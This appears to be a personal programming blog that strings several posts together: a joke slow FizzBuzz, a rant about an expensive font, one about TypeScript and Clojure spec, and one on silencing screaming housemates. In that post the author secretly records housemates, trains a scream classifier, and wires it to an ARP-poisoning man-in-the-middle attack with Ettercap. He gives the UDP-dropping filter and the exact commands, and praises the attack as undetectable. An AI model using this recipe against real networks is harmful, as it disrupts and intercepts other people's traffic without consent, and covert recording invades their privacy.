I was going to try my hand at attempting this challenge for this post, but then I remembered something important - I'm actually a pretty shit programmer.

Here's the example answer from the challenge that's written in C.

#include <stdio.h>

int main() {
    for (int i = 1; i < 1000000000; i++) {
        if ((i % 3 == 0) && (i % 5 == 0)) {
            printf("FizzBuzz\n");
        } else if (i % 3 == 0) {
            printf("Fizz\n");
        } else if (i % 5 == 0) {
            printf("Buzz\n");
        } else {
            printf("%d\n", i);
        }
    }
}

Turns out, I don't know how to make this faster. It's already written in C, which is the lowest level language I know how to write, and I don't know how to do any fancy memory buffer stuff so I'm all out of ideas.

Instead let's do something that I can do, something that I specialise in: making slow-ass code.

I'll need to have one restriction however. Technically, the slowest FizzBuzz could just have a sleep operation that goes on for an indefinite amount of time, but that would be no fun. I want to keep this as "reasonable" as possible, like it was something someone would actually do.

As a benchmark, the example given in C gives 235 MiB/s on my computer. Now, let's see how slow this can go :)

First of all, we need to get rid of C. A compiled language that well known for being performant? Come on, we can do better (or worse in this case).

I don't really know what the "slowest" programming language is, but I'm pretty sure it's either Ruby or Python, and since I know Python better, I'm going to go with that. I could find some super unknown/toy language that has not had many performance optimisations done to it, but I think that goes against the "reasonable" rule.

So, here's FizzBuzz in Python.

for i in range(1, 1000000000):
    if i % 3 == 0 and i % 5 == 0:
        print("FizzBuzz")
    elif i % 3 == 0:
        print("Fizz")
    elif i % 5 == 0:
        print("Buzz")
    else:
        print(i)

Running this gives me 21 MiB/s, a 91% decrease from the benchmark already!

I mentioned earlier that this challenge was an exercise in optimising I/O. Do you know what is the slowest form of I/O? Network requests! Time to make a FizzBuzz micro-service⁽¹⁾ :)

#
# server.py
#

from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def fizzbuzz():
    i = int(request.args["i"])

    if i % 3 == 0 and i % 5 == 0:
        return "FizzBuzz"
    elif i % 3 == 0:
        return "Fizz"
    elif i % 5 == 0:
        return "Buzz"
    else:
        return str(i)

if __name__ == "__main__":
    app.run(debug=True)

#
# client.py
#

import requests

if __name__ == "__main__":
    for i in range(1, 1000000000):
        res = requests.get(f"http://127.0.0.1:5000/?i={i}")
        print(res.text)

I could be making this much worse by hosting the server across the world from me, but this is now running at a measly 9 KiB/s - which is a further 99.9% decrease. I'd rather not kick a man while he's down.

To be honest, I'm already not sure of what else we can do. Going from 235 MiB/s to 9 KiB/s is already huge,⁽²⁾ and I don't think we will get another step back in performance like we did with the last one.

Let's just try adding some "reasonable" overhead. Something like… GraphQL?

Every GraphQL query goes through three phases: parsing, validation and execution.

1. Parse: The query is parsed into an abstract syntax tree (AST).
2. Validate: The AST is validated against the schema.
3. Execute: The runtime walks through the AST, starting from the root of the tree, invokes resolvers, collects up results, and emits JSON.

All of these phases introduce additional computational cost to the network request. I don't think it will be by much since we'll be doing very simple queries, but hopefully the slow down will at least be noticeable.

#
# server.py
#

from ariadne import (
    QueryType, gql, make_executable_schema, graphql_sync
)
from flask import Flask, request, jsonify

type_defs = gql("""
    type Query {
        fizzbuzz(i: Int!): String!
    }
""")

query = QueryType()

@query.field("fizzbuzz")
def resolve_fizzbuzz(*_, i):
    if i % 3 == 0 and i % 5 == 0:
        return "FizzBuzz"
    elif i % 3 == 0:
        return "Fizz"
    elif i % 5 == 0:
        return "Buzz"
    else:
        return str(i)

schema = make_executable_schema(type_defs, query)
app = Flask(__name__)

@app.route("/graphql", methods=["POST"])
def graphql_server():
    data = request.get_json()

    _, result = graphql_sync(
        schema,
        data,
        context_value=request,
        debug=app.debug
    )

    return jsonify(result)


if __name__ == "__main__":
    app.run(debug=True)

#
# client.py
#

from gql import gql, Client
from gql.transport.aiohttp import AIOHTTPTransport

transport = AIOHTTPTransport(url="http://127.0.0.1:5000/graphql")
client = Client(transport=transport, fetch_schema_from_transport=True)

query = gql("""
    query FizzBuzz($i: Int!) {
        fizzbuzz(i: $i)
    }
""")

if __name__ == "__main__":
    for i in range(1, 1000000000):
        result = client.execute(query, variable_values={"i": i})
        print(result["fizzbuzz"])

Well, that got it down to 7 KiB/s (another 22% decrease). Let's keep going.

I have an idea though it might be stretching the term "reasonable" a bit, but what say we use the second slowest form of I/O - opening and reading files? We can pre-compute FizzBuzz, save it to a text file, and read that instead of computing it on the fly (which would normally be much faster for such a small operation).

Seems like a good idea to me!

#
# make_fizzbuzz.py
#

with open("fizzbuzz.txt", "w+") as f:
    for i in range(1, 100000000):
        if i % 3 == 0 and i % 5 == 0:
            f.write("FizzBuzz")
        elif i % 3 == 0:
            f.write("Fizz")
        elif i % 5 == 0:
            f.write("Buzz")
        else:
            f.write(str(i))

#
# server.py
#

@query.field("fizzbuzz")
def resolve_fizzbuzz(*_, i):
    with open("fizzbuzz.txt", "r+") as f:
        lines = f.readlines()
        return lines[i - 1]

To keep my SSD alive, I lowered the amount calculated from 1 billion to 100 million.

This actually became too slow for pv to show anything (as in, the throughput was significantly less than a byte per second).

I'm also not a fan of this approach because its speed is determined by how big the file is. readlines() puts the entire file into memory, which scales on file size (a smaller file would be loaded into memory quicker than a large file).

I'd prefer the solution to be of O(n) complexity (or close enough to it) and not really be affected by external factors.

Let's do something else instead.

I want to go back to the idea of adding more overhead. How about we take a page from the crypto bro playbook and make our FizzBuzz implementation cryptographically secure?

#
# server.py
#

import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

# ...

type_defs = gql("""
    type Query {
        fizzbuzz(i: Int!, public_key: String!): String!
    }
""")

# ...

@query.field("fizzbuzz")
def resolve_fizzbuzz(*_, i, public_key):
    pub_key = RSA.import_key(public_key)
    key = PKCS1_OAEP.new(pub_key)
    encrypt = (
        lambda x: base64.b64encode(
            key.encrypt(x.encode())).decode("utf-8")
    )

    if i % 3 == 0 and i % 5 == 0:
        return encrypt("FizzBuzz")
    elif i % 3 == 0:
        return encrypt("Fizz")
    elif i % 5 == 0:
        return encrypt("Buzz")
    else:
        return encrypt(str(i))

#
# client.py
#

import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.generate(3072)
pub_key = key.publickey().exportKey().decode("utf-8")
priv_key = PKCS1_OAEP.new(RSA.importKey(key.export_key()))

# ...

query = gql("""
    query FizzBuzz($i: Int!, $public_key: String!) {
        fizzbuzz(i: $i, public_key: $public_key)
    }
""")

for i in range(1, 1000000000):
    result = client.execute(
        query,
        variable_values={"i": i, "public_key": pub_key}
    )

    print(
        priv_key.decrypt(
            base64.b64decode(result['fizzbuzz'].encode())
        ).decode("utf-8")
    )

Looks like we're going down another unit of measurement because this is getting me ~500 B/s, yet another 93% decrease!

We're really starting to get diminishing returns, what else could we possibly do?

Since we've already stepped our toes into it, perhaps we could add to it the most wasteful form of computation in common use today - a blockchain.

A blockchain is an immutable linked list. That's pretty much everything you need to know about them, they're really not all that exciting or interesting.

Here is how to make an immutable linked list.

import hashlib

NUM_TX_PER_BLOCK = 69

class FizzBuzzBlock:
    def __init__(self, prev_block_hash, tx_list):
        self.prev_block_hash = prev_block_hash
        self.tx_list = tx_list

        # To ensure the same number of bytes are outputted as
        # with the other attempts, format the data correctly
        self.block_data = '\n'.join(tx_list)
        self.block_hash = (
            hashlib.sha256(self.block_data.encode()).hexdigest()
        )

class FizzBuzzBlockChain:
    def __init__(self):
        # Create chain with genesis block
        self.chain = [FizzBuzzBlock("0", ["1"])]

    def create_block(self, tx_list):
        prev_block_hash = self.last_block.block_hash
        block = FizzBuzzBlock(prev_block_hash, tx_list)
        self.chain.append(block)
        return block

# ...

if __name__ == "__main__":
    tx_list = []
    fizzbuzz_chain = FizzBuzzBlockChain()

    for i in range(2, 1000000000):
        result = client.execute(
            query,
            variable_values={"i": i, "public_key": pub_key}
        )

        tx_list.append(
            priv_key.decrypt(
                base64.b64decode(result['fizzbuzz'].encode())
            ).decode("utf-8")
        )

        if len(tx_list) >= NUM_TX_PER_BLOCK:
            block = fizzbuzz_chain.create_block(tx_list)
            tx_list = []
            print(block.block_data)

I've had to change the range to start counting from 2 because I pre-computed 1 to put in as the genesis block.

This put us down to 400 B/s (a 20% decrease). It will obviously vary depending on how many transactions are accepted per block, but I've put that as 69 because it seemed like a nice round number.

Next we will make a proof-of-work validator.

Once we've added all the transactions to the tx_list, we can start counting numbers and hashing them along the way. If we found a hash to a number that fulfils a certain criteria (like having the binary representation start with twenty "1"s⁽³⁾), then we can add it to the blockchain.

# ...

WORK_TARGET = 20

def validate_work(work):
    h = hashlib.sha256(str(work).encode()).hexdigest()
    b = bin(int(h, 16))
    # bin() always starts with '0b', so skip them.
    # also check next digit to make sure it's twenty ones
    # no more, no less
    return b[2:3 + WORK_TARGET] == '1' * WORK_TARGET + '0'

# ...

class FizzBuzzBlockChain:
    def __init__(self):
        self.chain = [FizzBuzzBlock("0", ["1"])]
        self.used_work = []

    def create_block(self, tx_list, work):
        if (
            work not in self.used_work and
            validate_work(work)
        ):
            prev_block_hash = self.chain[-1].block_hash
            block = FizzBuzzBlock(prev_block_hash, tx_list)
            self.chain.append(block)
            self.used_work.append(work)
            return block
        else:
            raise Exception("Invalid work")

# ...

if __name__ == "__main__":
    # ...
    work = 0

    for i in range(2, 1000000000):
        # ...

        if len(tx_list) >= NUM_TX_PER_BLOCK:
            while True:
                work += 1
                if validate_work(work)
                    break

            block = fizzbuzz_chain.create_block(tx_list, work)
            tx_list = []
            print(block.block_data)

And now we're at 100 B/s, another 75%. Yeah, I think we're done here.

So, we went from 235 MiB/s (or 246400000 B/s) to 100 B/s. In total that's a 99.99996% decrease! And from the fastest submission - 55 GiB/s (59055800320 B/s), there is a 99.9999998% decrease.

That was honestly quite a bit of work to get it this slow in a "reasonable" way, and I had to put some real effort into thinking about it.

But if I wanted to save myself the trouble, I probably could have just asked one of my coworkers to try attempt implementing FizzBuzz as best they could instead, and I probably would've gotten a pretty similar result.

Actually, it might even have been slower that way.

Signifier is a Brutalist response to 17th century typefaces. Designed by Kris Sowersby, Signifier’s digital immateriality draws on a deeply material past. Acknowledging the processes and tools of digital form-making, Sowersby worked consciously with the computer to recast the lead, antimony, and tin of the 17th century Fell Types into ones and zeros. Signifier emerged from this alchemy with Bézier curves and sharp vectors determined by machine logic and a Brutalist ethos.

• Kilm Type Foundry

This is an interesting paragraph. I know what these words mean individually, but when they're put together like this, I have no idea what is going on.

So then why did reading this cause me to buy a bunch of letters for $574?

Good question, that's what we'll be exploring today on this site.

I've been using the Signifier font family on this blog since it has gone through its' fourth redesign. I didn't buy it specifically for this blog, but I actually haven't found any other uses for it. Which is good, because putting it on another website would go against the license agreement. Let's talk about that for a sec.

You can buy a license for the font for a variety of purposes like: installing it on your computer, using it in film, TV shows, posters etc. Since this is a website, I bought the web font license.

A web font license only covers one domain name and any related subdomains. It is also limited by the page views or users your website has. I bought the cheapest option for page views (since I don't have any "users") which gets me 20,000 views per month.

To be clear, not all font licences are this restrictive. Most licenses will license the font to the set of licensed users who can then use the font in anyway they please, in any capacity they want.

Most font licenses also don't cost over $500.

I have no idea what goes into a font to make it apparently worth more than the 1440p monitor I view it on. It should be obvious by now but buying a font like this isn't really for your average person and if I was so adamant that I needed a professional font for this blog, I probably would have been better of buying a cheaper and less restrictive one for $20-50.

But where's the fun in that? If I bought a font for only $50 then this blog would only be using a $50 font and not a $574 font.

Isn't this blog so much better now that you know the letters you're reading right now cost FIVE HUNDRED AND SEVENTY FOUR AUSTRALIAN DOLLARS?

Don't you understand? Five hundred and seventy four big ones.⁽¹⁾ Just for this blog. Now every time you type justin.duch.me (which I know you do often) into your web browser:

1. Your browser sends a DNS lookup for this domain.
2. It opens a socket on port 443 to the IP address attached to the DNS record.
3. It starts a TLS handshake with the server.
4. It sends a GET request to the server.
5. It parses the HTML, CSS, and JS returned from the server.
6. It constructs the DOM tree.
7. It constructs the CSSOM tree.
8. It creates the render tree.
9. It paints.
10. The pixels on your display change colour; A symphony of words in #e1e1e1 splattered on a canvas of #191919.
11. The light of the display reaches your retinas.
12. You see a $574 font.
13. You cry. For you have never seen such beauty before.

No matter how hard it gets. No matter how many times you question yourself. You can always think this to yourself.

At least I didn't spend $574 on a font.

• You, probably

And you'll know everything will be okay, for you know that there are much dumber cunts on the Internet.

Decades of computer science, centuries of mathematics, millennia of human progress.

All leading to this.

Why would the Internet have been created if not for this?

What is life if not the ability to witness a $574 font wasted on a website that gets, at most, 10 page views a month?

What of the irony of this lust for the most expensive, most extravagant, most unnecessary item; Peak bourgeois bullshit, perpetuated by someone who once said and still says anarcho-communism seems like a good idea and maybe we should try it one day.

Cinq cent soixante-quatorze dollars australiens.

Now that we understand why this blog needs a $574 font, does the opening paragraph to this article make any more sense? Let's read it again.

Signifier is a Brutalist response to 17th century typefaces. Designed by Kris Sowersby, Signifier’s digital immateriality draws on a deeply material past. Acknowledging the processes and tools of digital form-making, Sowersby worked consciously with the computer to recast the lead, antimony, and tin of the 17th century Fell Types into ones and zeros. Signifier emerged from this alchemy with Bézier curves and sharp vectors determined by machine logic and a Brutalist ethos.

Uhh… nope. Still don't get it. It must just be that words cannot do justice to these high-level ideas and concepts.

But they're going to have to if I want my money's worth with this fucking font.

And do you know what makes it impossible to get a proper, full night's rest?

SCREAMING AT THE TOP OF YOUR LUNGS FROM ACROSS THE HOUSE IN THE MIDDLE OF THE NIGHT BECAUSE OF A FUCKING VIDEO GAME.

But good thing that doesn't happen to m-Oh no wait it does.

The soundscape of my bedroom in almost 3/7 nights (and I have the data to back this up, just wait) is defiled by the ear-piercing screams of people across the house trying (and I'm assuming, failing, since they scream so much) to play a competitive shooter game.

Look, I have nothing against video games. I'm something of a gamer myself, and I'm no stranger to competitive games. I'm diamond rank in Rocket League, but when I miss an open goal or completely wiff an aerial (I also only play like once every 3 months, so this happens often), I never feel an urge to scream. It's just a video game, like holy shit you know it's all fake right?

I'm trying to fucking sleep; They're pointing and clicking on virtual heads (or at least it should be the heads if they're any good) of virtual people on a rectangle that displays lights of differently coloured squares, and hoping they've pointed and clicked good enough to make the virtual people disappear for a little while. And they have to do this over and over again until someone "wins" (but having your life go so far downhill that you start playing Valorant means you've already lost).

I think one of these things is more important than the other.

Side note: It has occurred to me recently that I should incorporate more audience participation in these blog posts because that's what all the famous people do.⁽¹⁾

So here's a question for you: "What do you think I should do about this situation?" Keep in mind that I have social anxiety (which might limit the options here), and send your best answer to realnotfake@email.com.

I don't know what you said, but it's probably wrong, sorry. Better luck next time!

The easiest way I got the screaming to stop was going into the router settings and throttling the bandwidth to something really stupid like 50 kbps (kilobits per second). This would mean their latency would be at around 2000ms to the Valorant servers (as I heard them scream once), which is completely unplayable.

You might consider this to be a bit of fucked thing to do. But I mean, I'm basically doing them a favour here making it so they don't feel compelled to play that shitty video game any more and can do something productive with their lives (like letting me sleep).

Anyway, this did work in getting them to stop playing, but there were a few problems.

The time it took between the scream happening and me turning on my phone while practically asleep, logging into the router, and changing the settings is a few minutes. I want the punishment to be almost instantaneous so they can easily make the connections and learn that screaming will take the Internet down, then maybe they'll stop doing it.⁽²⁾

It also made me feel bad. I don't want to stop people from enjoying themselves (even if it's from an objectively garbage form of entertainment), and especially so when there might be a much better solution to this problem instead (no idea what that could be though).

So, I had to automate the process instead. This would solve both problems of being too slow and feeling any sense of guilt or remorse (because a robot did it - not me, blame the robot).

The first thing most people would go for is setting up a decibel noise meter and cutting the Internet off whenever it reaches a certain threshold. The problem with this is that screaming isn't the only thing that could set the meter off. Things like passing cars and planes overhead are just as loud, and since the screaming is across the house it can actually sometimes be a little quieter than it from where I sleep.

However, I can sleep just fine with normal background noise from cars as they're pretty easy to ignore, and cutting the Internet isn't going to stop it anyway. It's just the screaming that's fucking irritating, so I need something to be set off by screaming specifically.

But what is that something?

Hmm… what technology could I possibly use to detect if a scream has happened? Send your best ideas to /dev/null and I'll implement it in the next episode!⁽³⁾

I'm kidding, it's machine learning. I mean what else could it have been?⁽⁴⁾ So let's create an AI classifier to detect screams and cut the Internet for a few seconds every time it does.

But since this is the first time I'm going to talk about machine learning/AI in any technical depth on this blog, I'd best explain what it is. Here's my official, proprietary, and standard explanation of machine learning that any idiot who doesn't know how to even open a PDF should be able to understand.

First you get a bunch of data and shove it down a model, so then it learns about the data, and then WHOOSH you have an AI!

OK so, what is a "model"?

A model is the neural network and it's parameters (and maybe some other stuff).

What is a "neural network" and what do "parameters" do?

A neural network is bunch of linear algebra and parameters are the things that go in the linear algebra.

And with that excellent explanation, we should be ready to start making our AI!

Since we need a "bunch of data" (as I so eloquently explained), that's what we will focus on first. Obviously, this will be recordings of the screams, with which my laptop microphone already easily picks up from my room, so I won't need to do anything on that front.

However, we won't be just shoving audio recordings into a model. You see, computer vision is a very well covered field in machine learning, especially when compared to computer "hearing" (which I don't think even exists), so our best bet would be to turn these recordings into pictures and shoving that into the model.

From the recordings we will generate spectrograms, which are a visual way of representing the signal strength, or "loudness", of a signal over time at various frequencies present in a particular waveform. Spectrograms of audio are often used to identify spoken words phonetically, and to analyse the various calls of animals.

Thankfully, screams from across the house are actually an incredibly distinct sound. Here are some examples.

See that blob looking thing at the bottom? That's a scream that specifically came from across the house.

The lines going vertically across are from mouse clicks and keyboard taps from my laptop as I was using it while recording this, hopefully the model still will be able to distinguish the scream from everything else when the image is a little noisy (keyboard taps, and general banging of computer hardware can also sometimes be heard when my housemates play Valorant, so it's not an entirely uncommon pattern to have).

The pattern should be pretty clear now, but here's another in case you have a peanut brain.

I've recorded a bunch of ambient noise to see if anything else looked like these screams, and there really hasn't even been anything close to it, so I think we're good here.

Now that we know spectrograms (or screamtrograms as I'm going to start calling them from now on) should work fine, we need a good way of creating them to shove in the model.

But before all that, let's talk about ethics. Now, I'm a good guy, I'm a nice person.⁽⁵⁾ And I'm aware that recording people without their permission is not the most "good" thing to do. Recording private conversations is in fact, illegal in New South Wales.

However:

1. I'm just recording the ambient noises in my room, and sometimes screaming can be heard in the background (please ignore the fact that I'm then using that screaming to feed a machine learning model).
2. These screams can be heard from outside the house (I tested this one night by going outside), so they aren't very private.
3. Screams also aren't really a conversation. Sometimes they do talk really loud, but it's pretty muffled and unintelligible in the recordings. These are actually the one thing that have a similar pattern to screams in the screamtrogram, but they're just as irritating, so I'll be counting them as screams as well.

But most importantly:

4. I WOULD LIKE MORE THAN 4 HOURS OF SLEEP PLEASE.

So given these counterarguments, I think I'm in the clear here regarding the law. And since most peoples' ethical framework boils down to "if it's legal, it's OK", I'm in the clear ethically too.

Anyway, let's get back to it. We're going to want to write a script that records audio and automatically turns it into screamtrograms. We can do that with pyaudio and matplotlib (I think it's a given we'll be using Python here).

I'm mostly going to be describing things at a high level instead of going through code (I'll put the important concepts in code to make it easier to understand) because I've learnt throughout the years that a blog post is not a good place to dump a lot of code in.

If you want to see the code you can go to the Git repository.

Looking at the create_data.py script, you'll see that I'm using multiprocessing and have two processes, one for recording and one for creating the screamtrograms. The reason for this is that creating the screamtrograms can take a few seconds and I don't want the recording to be blocked by it.

The recording process is very simple. It records audio from the microphone in 60 second intervals, saves it to a .wav file, and adds the file to a queue for the screamtrogram process to use.

Before creating a screamtrogram, I segment the 60 second audio file into 15 second audio files (4 in total). This is to hopefully make the screams a bigger pattern in the images, while still being large enough that the likelihood of a scream being cut off abruptly is minimal. Being cut off did happen a few times in fact, but never often enough for me feel like the segments should be larger.

The great things about .wav files is that they're a simple file format and are basically just an array of values. So to create the screamtrogram, scipy.io has a function to open the .wav file and matplotlib has another to plot the image.

from scipy.io import wavfile
import matplotlib.pyplot as plt

wav_file = 'myaudio.wav'

rate, audio = wavfile.read(wav_file)
audio = audio[:,0]  # select left channel only
fig, ax = plt.subplots(1)
fig.subplots_adjust(left=0, right=1, bottom=0, top=1)
ax.specgram(x=audio, Fs=rate, noverlap=384, NFFT=512)
ax.axis('off')
fig.savefig('screamtrogram.png', dpi=300)

matplotlib usually puts an x/y axis on it's plots which are useless for us and unnecessary noise for the model, so I've turned them off with ax.axis('off') and some adjustment to the image.

So if you were to run create_data.py, it would add 4 screamtrograms to the data/spectrograms directory every 60 seconds. Then you will need to manually go through each one, see which one is a scream, and move it to the train/scream directory.

Unfortunately, there is no way around manually labelling training data in this manner, this is just how it goes with machine learning. I recommend getting around 500 samples for training and another 100 for validation (so 600 in total). We'll also need another 600 samples of non-screamtrograms, but those should be easy to get considering non-screams happen most of the time. Move those to train/notscream.

Next up is creating our classifier. We will be using fastai for this because it's… uh… fast, and they provide a lot of useful functions on top of PyTorch. If you're following along with the code, this part is in the train.ipynb notebook (personally I hate notebooks, but I wanted to see pictures).

Because data scientists don't understand good software engineering practices we import * from fastai.vision.all and create a DataLoaders.

from fastai.vision.all import *

path = Path('train/')

spectrograms = DataBlock(
    blocks=(ImageBlock(cls=PILImageBW), CategoryBlock),
    get_items=get_image_files,
    splitter=RandomSplitter(valid_pct=0.2, seed=21),
    get_y=parent_label,
    item_tfms=Resize(224))

dls = spectrograms.dataloaders(path)
dls.show_batch(max_n=4, nrows=1)

This gives us a batch that looks like this.

The images have been converted into greyscale, which should hopefully reduce the noise in the image as the model will be able to ignore colours since the blob is the important part. I have no idea if this helps or not, but I used to do this a lot in the past for my previous non-AI attempts at image recognition, so I just did it on habit. Either way, I doubt it would make the model worse so it's probably fine.

Each item is also resized into a 224px square so it's faster for the model to work through (the screamtrograms we generate are 1920 x 1440 pixels in size, which are wayyy to big).

Let's try a few training epochs now.

learn = cnn_learner(dls, resnet34, metrics=error_rate)
learn.fine_tune(5)

Obviously I'm going to need to train this more than 5 times, but a 10% error rate is pretty decent for 5 runs! Let's pretend it's good enough for now and keep going.

I want to see if the model is making more false positives (it thinks "notscreams" are "screams") or false negatives (it thinks "screams" are "notscreams"). To visualise this, we can use a "confusion matrix."

interp = ClassificationInterpretation.from_learner(learn)
interp.plot_confusion_matrix()

Here we see that "notscreams" that were predicted as "screams" (3) are more than "screams" that were predicted as "notscreams" (1), so looks like it tends towards false positives. This can probably be ironed out with more training (I also didn't get all 600 images for training yet when I made this matrix) but I'll be keeping this in mind anyway.

After all the fine tuning is done (in the end I got it to around a 1% error rate after 100 runs and more data), we can export the model into an export.pkl.

learn.export()

When we want to use the exported model we can use load_learner.

# Load pickle
learn_inf = load_learner('export.pkl')
# Predict an image
learn_inf.predict('images/screamtrogram.png')

Now that our machine has learnt about screams, we can look at deciding what it should do when it detects one. It would be pretty easy to have it do what I did - log into the router and set a bandwidth limit, but there is another problem with this that I didn't explain before.

It would be pretty easy for my victims housemates to determine what happened to the Internet when it stops working. All they would need to do is login to the router and click through a few tabs, remove the bandwidth limit, and then change the router password to stop it from happening again.

For certain people, I would be OK with doing it this way because to be honest, I don't think most people know what a router does.

However, my housemates do, so this won't work and I'll need another method of attack.

I could try to torrent a bunch of Linux distros and hog all the bandwidth, but in my testing this was inconsistent in terms of having a consistent degradation of services (sometimes it would work, sometimes it wouldn't).

I don't really know what to do, what do you think?

Actually, I do know what to do, and I don't care what you think. I'm done with this joke.

The answer is ARP poisoning, in which I send spoofed ARP packets to the LAN to associate my MAC address with the IP address of the router. In more simple terms, this means I can make everyone else's computer think I'm the router and send all their Internet traffic to me.

We can use Ettercap for this, as it's a pretty standard toolkit for man in the middle attacks. There a few possible ways of messing with peoples' Internet with this, but I'm going to be going through packet filtering.

First we'll need to create a filter source file for ettercap to read.

cd /usr/share/ettercap
sudo vim dos.elt

I deliberated over what the best filter would be. Do I want to just drop all connections? Maybe only specific packets to Valorant servers? In the end, I decided upon a compromise between the two and dropping all UDP packets. This means that all normal HTTP traffic should work, but things like most multiplayer video games, some chat applications (like Discord), and video streaming services (like YouTube) will not.

This was done because I didn't want to actually play that trash game to figure out what IPs the Valorant servers use, and I wanted to limit the damage of false positives (I don't care too much about false negatives). For other services that use UDP like YouTube, dropping connections for several seconds is probably not that big a deal since the video gets buffered in advance, but for a real-time competitive game, it could lose you the round.

So in dos.elt, add this to the file.

if (ip.proto == UDP) {
    drop();
}

Now we need to compile the code to a binary, and use it in an argument to ettercap.

sudo etterfilter dos.elt -o dos.ef
sudo ettercap -T -q -F /usr/share/ettercap/dos.ef -M arp

And now, all UDP packets on your LAN will be dropped! You can open Wireshark and see all the packets that come from other computers in the LAN.

It might be a bit of a surprise to see how absurdly easy that was, and it just goes to show how Internet infrastructure is an insecure mess and TLS really is the only good thing we have in this world.

For anyone who doesn't know what ARP poisoning is and can't spot a man in the middle attack when one happens, this is practically undetectable. I don't think my housemates are going to check their ARP routing tables, or attempt to trace where their packets are going. I also don't think they know the difference between TCP and UDP, so they probably won't be able to make the connections on why only some things are broken but not others.⁽⁶⁾

However, there is one last problem with this method in my house. And that is that we have two LANs - one for Ethernet and one for Wi-Fi (which is a separate mesh network to cover the entire house). I've created a simplified network diagram below to illustrate this.

My laptop only connects to the mesh network and doesn't have an Ethernet port (blame Framework for not making an expansion card for it yet).

Since most of the computers in the house connect with Ethernet, I'm not going to be able to poison them like this. Thankfully, the Wi-Fi access points are on the Ethernet LAN to connect to the Internet, so if I can connect to the main router and poison that, we should be golden.

Unfortunately, the only computer I have with an Ethernet port is my gaming PC, which I don't exactly want to leave on overnight since it's a bit power hungry. Instead I bought a Raspberry Pi which does come with an Ethernet port.

The idea here is that I can set up a HTTP server on the RPi (I can still see hosts on the main LAN from the mesh network), and whenever the model on the laptop detects a scream, send a request to the RPi and have that run ettercap instead of my laptop.⁽⁷⁾

It's kinda boring so I won't go through it, but the scream detection script and ettercap server are in wgyhtss.py and wsgi.py respectively.

Something to note is how it requires a secret key for the client and server to talk. I just felt a little weird with having an endpoint to that can DOS everyone without any authentication (even if it's limited to the LAN).

And in another attempt to mitigate false positives, if a scream is predicted, the probability must be above 85%. I want the AI to be completely sure (or as completely sure as 85% can be) that it is in fact a scream.

I've also set the poisoning and filter to last for 30 seconds because that's both how long YouTube will buffer your video in advance and how long the buy phase time takes in Valorant (the start of the round where you buy weapons).

Having your connection dropped only during the buy phase time is not a huge deal because buying weapons doesn't take very long and you can still buy them after the phase ends, so I wanted to make sure ARP poisoning attack would at least cover over that time completely.

And if it happens during the actual round time instead of the buy phase, rounds can last at most 140 seconds (100s round time + 40s spike plant time). But they mostly only end up being at around 110 seconds for a game with teams of similar skill, so being out of it for 1/3-4 of that is a big deal.

The last thing to keep in mind is disk usage as the code never deletes anything, so all the recordings and images can add up (I have over 3,500 audio segments, and along with the accompanying 3,500 screamtrograms this adds up to 18GB). You'll obviously want to keep the train/ directory, but you can safely delete data/ every now and then as both wghytss.py and create_data.py will recreate the directory to use if it's missing.

Right, so that's it then. This took around two weeks to research, test different things, and get training data⁽⁸⁾ so it was a decent amount of work, and I'm pretty happy with the outcome so I wouldn't call it a wasted effort.

I think I did a good job but I still can't shake the feeling that there was an easier way of solving this issue.

21/06/2022 Update

Hello, I'm back with news!

They've stopped screaming! I've heard verry little (if anything, don't really remember) in the two months since I've made this post, so I'm going to count it as a success.

I don't actually know if it was because of me or if they got bored of Valorant or something (maybe both), but whatever - who cares, I can sleep now!

Also, I have a correction.

I mentioned that I was only going to drop UDP packets which meant that normal Internet websites should work perfectly fine. However, I forgot to factor in HTTP/3, the third version of HTTP which runs "QUIC" over UDP, and is supposed to make HTTP transactions faster.

25% of websites and pretty much every popular one uses HTTP/3.⁽⁹⁾ So, dropping UDP packets did actually make most websites not function.

It doesn't really matter now, but learning new things is fun.

I avoid gradual type systems like mypy for Python or Sorbet for Ruby because they ruin the prototyping speed of these nice, simple, dynamic languages to add a shitty type system that only attempts to "fix" one specific problem of said dynamically typed languages and doesn't even "fix" it all that well.⁽¹⁾

This even extends (but not as much) to supersets of dynamic languages that add a proper type system like TypeScript. Yes, it's nice that it has types from the ground up, but at the end of the day, it's just JavaScript… but with static types! WOW! There's only so much that adding static types can do for a language that treated types as a suggestion in the first place.

The designers of TS also had to consider the skill level of your average JS developer when designing the type system. JS developers do not understand type theory. They don't know what soundness and completeness means. They don't understand why certain things are covariant, invariant, contravariant, or bivariant.

I'm not saying they should as knowledgeable in type systems as Haskell developers but sometimes it feels like JS developers don't even have object permanence yet when you consider the amount of fundamental programming language design knowledge they have (or lack thereof). And you know what other category of human doesn't have object permanence yet? Babies.

I'm confirming it right now: JS developers are babies. You know it's true because this post is on the Internet. And the Internet never lies.

So the TS designers had to make the type system as easy as possible to understand so that all our two month old JS developers could use it while sipping on their baby bottles, playing on their iPads, and writing dark patterns for a mega corporation's website.⁽²⁾

Now, what is the result of this "easy to understand" type system?

A TYPE SYSTEM THAT IS LESS SOUND THAN MOST GRADUAL TYPE SYSTEMS LET ALONE ACTUAL TYPE SYSTEMS IN ACTUAL LANGUAGES THAT ANYONE WHO ISN'T A BABY WOULD USE.

A TYPE SYSTEM THAT IS MORE COMPLICATED AND CONVOLUTED THAN ACTUAL TYPE SYSTEMS WHEN YOU WANT TO DO ANYTHING MORE THAN SPECIFYING THAT SOMETHING IS AN OBJECT.

IT'S JAVASCRIPT WITH STATIC TYPES. WHY DO YOU THINK THAT FIXES ANYTHING? ONLY A BABY WOULD GET FOOLED BY THIS PROPAGANDA.

So anyway, for the past while I've resigned myself to my favourite dynamic language, Clojure, not having static types ever, because even with the meta programming power of being a Lisp I assumed it will still probably be a bit shit. And if I want types I might as go all out on not having any prototyping speed and just use Rust.⁽³⁾

Enter Clojure spec, and let me tell you, learning about this Clojure library has never made me so angry and aroused at the same time before. I've heard about spec before, but never really bothered to actually look into it until now. This was the worst mistake of my life,⁽⁴⁾ I can't believe I've been writing "spec-less" Clojure code this entire time like some sort of fucking idiot who thinks 80 MB (half of which are from tracking scripts) is an acceptable size for a website.

Spec is sort of a response to many people's main (although fair) gripe that Clojure doesn't have a static type system. But it's a response that they may not expected as it doesn't take the traditional approach of checking types statically. At a very fundamental level spec is a declarative language that describes data, their type, their shape. Spec follows the general philosophy of Clojure in that all of its functionality is available at runtime, you can use it, introspect it, generate it – there is no extra step before execution when the compiler checks your whole codebase for errors.

